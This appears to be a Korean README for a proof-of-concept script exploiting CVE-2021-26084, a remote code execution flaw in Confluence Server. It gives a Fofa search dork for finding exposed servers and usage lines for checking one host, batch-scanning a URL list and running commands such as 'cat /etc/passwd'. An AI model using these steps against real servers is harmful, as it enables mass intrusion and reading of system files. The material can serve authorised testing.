CVE-2021-26084

CVE-2021-26084 Confluence 서버 원격 코드 실행

Dork

Fofa:

app="ATLASSIAN-Confluence"

사용법

도움말 정보를 표시합니다.

python PoC.py

개별 웹사이트에 대한 취약점 확인.

python PoC.py -u https://1.1.1.1

명령 실행.

python PoC.py -u https://1.1.1.1 -e 'cat /etc/passwd'

배치 테스트.

python PoC.py -f urls.txt

참고 자료

• https://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md
• https://github.com/projectdiscovery/nuclei-templates/blob/master/cves/2021/CVE-2021-26084.yaml
• https://github.com/h3v0x/CVE-2021-26084_Confluence/